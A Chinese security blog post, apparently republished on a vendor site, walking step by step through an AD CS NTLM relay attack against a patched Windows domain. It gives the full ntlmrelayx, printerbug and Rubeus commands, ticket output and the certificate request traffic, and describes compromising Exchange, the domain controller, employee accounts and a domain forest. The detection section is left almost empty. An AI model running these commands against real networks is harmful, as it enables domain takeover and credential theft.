长亭百川云 - 文章详情

全补丁域森林5秒沦陷?加密升级之信任雪崩

甲方安全建设

75

2024-07-13

域控?Exchange? Sharepoint? 个人PC? 个人域账号/邮箱?域森林?统统只要5秒打下.

0x00 踩点和识别

域内定位CA机器的方法较多, 常见如下

certutil -config - -ping  

测试网络联通性

curl 192.168.44.150/certsrv/ -I  

简单探测AD CS错误配置

0x01 攻击Exchange流水账

本地监听和指定攻击目标 dc2 192.168.44.150

python ntlmrelayx.py  -t http://192.168.44.150/certsrv/certfnsh.asp -smb2support --adcs  

打印机协议触发回连Bypass监控规则

python printerbug.py corp/lower_user:yourpass@192.168.44.163 192.168.44.131  

中继获取证书

[*] Base64 certificate of user EX03$:  
LONGLONGLONGSTR**********==  

Rubeus一键梭哈

Rubeus.exe asktgt /user:EX03$ /certificate:LONGLONGLONGSTR**********== /ptt  

Rubeus生成票据并注入

C:\adcs>Rubeu_S.exe asktgt /user:EX03$ /certificate:bas64_cert_str /ptt  
//返回  
  v1.6.4  
  
[*] Action: Ask TGT  
  
[*] Using PKINIT with etype rc4_hmac and subject: CN=ex03.BSEC.corp  
[*] Building AS-REQ (w/ PKINIT preauth) for: 'BSEC.corp\EX03$'  
[+] TGT request successful!  
[*] base64(ticket.kirbi):  
  
      doIF**LongLongStrOfBase64Ticket.Kirbi***==  
        
[+] Ticket successfully imported!  
  
  ServiceName           :  krbtgt/BSEC.corp  
  ServiceRealm          :  BSEC.CORP  
  UserName              :  EX03$  
  UserRealm             :  BSEC.CORP  
  StartTime             :  2021/7/6 13:52:35  
  EndTime               :  2021/7/6 23:52:35  
  RenewTill             :  2021/7/13 13:52:35  
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable  
  KeyType               :  rc4_hmac  
  Base64(key)           :  XpO52RXSeAo6OdEfC+7kQQ==  
  

注入票据前为低权限账号

注入票据后

生成的票据拿到rubues/mimikatz都是可以的,转换成ccache,也可以用到impacket工具包

生成的证书会在较长的时间内有效默认一年有效期

0x03 攻击域控

前部分操作如上文

可以注入域控DC3$的身份

接下来我们用DC3$的身份, 进行 dcsync导出域管dcadmin的hash

0x04 攻击域内员工

补丁更新到最新. 系统为win10 ltsc

发送几封恶意邮件, 使用最新版的outlookfoxmail打开

均成功获取域账号win10的个人证书

使用该证书登陆win10 ltsc这台机器, 或者查看邮件等,都是可以的. 无论域用户 win10修改多少次密码,密码强度如何, 证书默认会一年有效,并可以进行续签

0x05 域森林攻击

同样进行NTLM relay

使用relay签发的证书,可见身份已经从bsec.ccop\low_user到了forest-a.bsec.ccop\DC01$的域管机器账号

0x06 换个视野看证书

certsrv相关信息

签发请求相关流量csr

POST /certsrv/certfnsh.asp HTTP/1.1  
Host: 192.168.44.150  
Accept-Encoding: identity  
Content-Length: 1699  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Mode=newreq&CertRequest=-----BEGIN+CERTIFICATE+REQUEST-----*****-----END+CERTIFICATE+REQUEST-----&CertAttrib=Info_Template&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=  

微软AD CS签发证书流量

openssl查看relay盗签的证书信息

域CA的证书管理信息, 可以发现relay签发的证书,也可以吊销

Certmgr.msc查看加域机器自动植入的Root CA

  • 一张证书身份可以干什么

  • 获取的不仅是Tickets

  • 涉及的不仅是域内

  • 每个加域的电脑都自动安装了AD CS下发的根证书想想攻击面😄

  • 如果攻击或盗取了Root CASub CA攻击面又有多大😄

0x07 攻击链路分析和发散

  • 利用AD CS(需要开启证书颁发机构Web注册 Web接口), 将目标机器账号的权限, relay到AD CS 80 web实现pki身份的持久化(SMB Relay到 HTTP).

  • 全程利用了域内正常服务打印机协议/Pki Web注册, 实现了低危害操作组合拳5秒打域控/Exchange/PC/域森林;

  • 攻击入口不仅是打印机协议, 只要可控机器账号/域账号外发认证,即可实现组合拳,攻击面很广,攻击链路比较多.本文不过多赘述

  • 另外用了PKI/HSM就一定安全了么?不管是开源或外采,抑或微软的PKI,攻防一直在持续.

  • 为了不影响文章的主干和脉络清晰,很多点没有展开,如果有机会再来叨叨

  • 本文只涉及 AD CS **攻击面的冰山一角**

0x08 漏洞引入思考

由于2019年的一系列smb/http/*->ldap等组合拳,微软和企业IT运维在全球范围内,迅速推进了ldaps的进程,里面开启pki系列服务时,如不小心勾选了证书颁发机构Web注册, 即会带来此次的攻击面. (默认只需要勾选证书颁发机构)
百度/谷歌部分ldaps开启部署教程中,不少截图标识了要勾选证书颁发机构Web注册😄

反思: 在消弭一些漏洞的历程中,新的动作和变更,又会引入新的攻击面和链路,这也正是攻防的魅力所在。

0x09 检测和防御

  • 知道你们只想一把梭,写了也不会看,有需求的可以私聊我一起讨论.

  • 企业安全建设实践的相关朋友,也可以加群交流学习, 守望互助. 联系方式你应该找的到

  • 一些AD CS的资料打包了下, 公众号回复adcs自取.

  • 本人获取的信息/进行的思考/完成的实践,肯定有欠缺或错漏,如有意见和建议欢迎私聊.

0x10 参考和致谢

  • Certified Pre-Owned2021年6月17发布

  • AD CS relay attack - practical guide2021年6月17发布

  • Credits @harmj0y @specterops @exandroiddev

  • specterops的白皮书发了快一个月了, 花1个小时过一遍,不亏.

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2